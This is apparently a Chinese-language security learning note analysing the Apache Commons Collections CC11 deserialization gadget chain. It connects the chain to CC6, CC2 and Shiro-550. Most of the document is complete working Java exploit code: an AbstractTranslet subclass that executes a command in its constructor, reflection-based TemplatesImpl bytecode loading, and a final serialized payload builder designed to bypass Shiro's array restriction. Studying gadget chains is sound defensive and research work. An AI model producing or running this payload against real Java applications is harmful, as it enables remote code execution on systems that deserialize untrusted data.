原理
首先先回顾一下之前CC1-CC7这七条链,我也忘得差不多了,总体分为两种方式实现代码执行吧:
- 第一种是CC1和CC6,核心是通过
ChainTransformer.tranform
方法链式调用构造好的ConstantTransformer.tranform
和InvokerTransformer.transform
方法,实现代码执行 - 第二类是以CC3为例的通过调用
TemplateImpl.newTransform
方法实现加载字节码的方式实现代码执行
学CC2的时候就已经说过,CC2已经是CC1和CC4的结合,前半部分用了CC4的入口,后半部分使用了CC1中的InvokerTransformer.transform
方法去调用TemplateImpl.newTransform
方法去加载字节码,从而实现代码执行。
而CC11像是把CC2的入口改为了CC6,从上图可以看出CC6会调用到LazyMap.get
方法后待用传入的Transformer对象的transform
方法,CC6是接上了CC1走ChainTransformer.tranform
方法进行链式调用,而CC11是接上了CC2,走InvokerTransformer.transform
方法去调用TemplateImpl.newTransform
方法去实现加载字节码造成代码执行。
代码分析
TemplateImpl加载字节码
首先我们依照CC3链后半部分的实现TemplateImpl.newTransform
加载字节码。
首先构造一个恶意类,并且该恶意类需要继承AbstractTranslet类,在其构造函数中执行恶意代码:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilClass() throws IOException {
super();
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}
然后就是新建TemplatesImpl对象,利用反射修改属性并且加载字节码,最后手动调用newTransformer
方法看看是否能够实现代码执行
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TemplatesImplEXP {
// 先定义一个反射修改类内部属性的方法,方便后面直接调用
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
// 获取恶意类的字节码
byte[] code = Files.readAllBytes(Paths.get("/Users/john/Documents/code/java/CC11/target/classes/EvilClass.class"));
byte[][] codes = {code};
// 反射修改属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 调用 newTransformer() 方法
obj.newTransformer();
}
}
CC6前半部分
原理中说到CC11前半部分是CC6,这里直接把CC6改造一下,利用利用InvokerTransformer去调用TempaltesImpl.newTransformer
方法:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC11 {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
// 构造恶意 TemplatesImpl 对象
TemplatesImpl obj = new TemplatesImpl();
// 获取恶意类的字节码
byte[] code = Files.readAllBytes(Paths.get("/Users/john/Documents/code/java/CC11/target/classes/EvilClass.class"));
byte[][] codes = {code};
// 反射修改属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// ================
// 利用 InvokerTransformer 调用 TemplatesImpl.newTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
// 假的链子
Transformer[] fakeTransformer =new Transformer[]{ new ConstantTransformer(1) };
// 装载
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//===============
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.remove("keykey");
// System.out.println(outerMap.isEmpty());
// ==============
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer,transformers);
// ==============
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(expMap);
oss.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
测试一下,能够执行代码
去掉Transformer 数组
但是这样还不是CC11最终的样子,因为CC11想要干的是不带Transformer数组的链子,其实就是为了规避Shiro-550反序列化时的一个问题:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
但是不使用Transformer数组的话怎么去实现调用InvokerTransformer.transform(templates)
呢,换句话说我们虽然能调用Transformer.transform
方法,但是没有ChainTransformer.transform
方法怎么实现把恶意的templates对象作为参数传入到InvokerTransformer.transform(templates)
方法中。
这里的LazyMap.get
方法帮了大忙:
我们知道CC6链是通过LazyMap.get
方法去调用Transformer.transform
方法的,仔细看这里传入到transform
方法中的参数key,就是调用get
方法时候的key,而且这个key还是个Object类型,谢天谢地,如果这个key可控的话就直接传入我们构造好的恶意templates对象就好了。
再看CC6中哪里调用了LazyMap.get
方法,找到了TiedMapEntry.getValue
方法
这里的key并不是传入的,因此这里的key应该是自身的属性,再看的TiedMapEntry的构造函数:
可以看到TiedMapEntry在新建对象的时候接收两个参数,参数1是一个Map,参数2是就是我们想要控制的key,因此我们在新建TiedMapEntry对象的时候直接传入恶意的templates对象作为key即可。
我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get
方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。
但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get
的参数key,会被传进transform()
,实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
我们LazyMap.get(key)
直接调用InvokerTransfomer.transform(key)
,然后像CC2那样调用TempalteImpl.newTransformer()
来完成后续调用。
最终EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC11 {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
// 构造恶意 TemplatesImpl 对象
TemplatesImpl obj = new TemplatesImpl();
// 获取恶意类的字节码
byte[] code = Files.readAllBytes(Paths.get("/Users/john/Documents/code/java/CC11/target/classes/EvilClass.class"));
byte[][] codes = {code};
// 反射修改属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// ================
// 利用 InvokerTransformer 调用 TemplatesImpl.newTransformer
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
// 假的链子
Transformer fakeTransformer = new ConstantTransformer(1);
//===============
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.remove(obj);
setFieldValue(outerMap, "factory", invokerTransformer);
// ==============
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(expMap);
oss.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
总结
时隔快半年再来看CC链发现自己已经忘记了很多细节,而且最离谱的是这了链子其实在学Shiro-550的时候已经调过了,一开始还没想起来,到最后发现要去除Transformer数组的时候才想起来好像shiro-550也是不能传入非java原生的数组,才想起来似乎shiro的时候也改造过CC6+Templates的链子,因此CC11其实就是CC6+Templates,那就用之前shiro画的那张图来总结吧。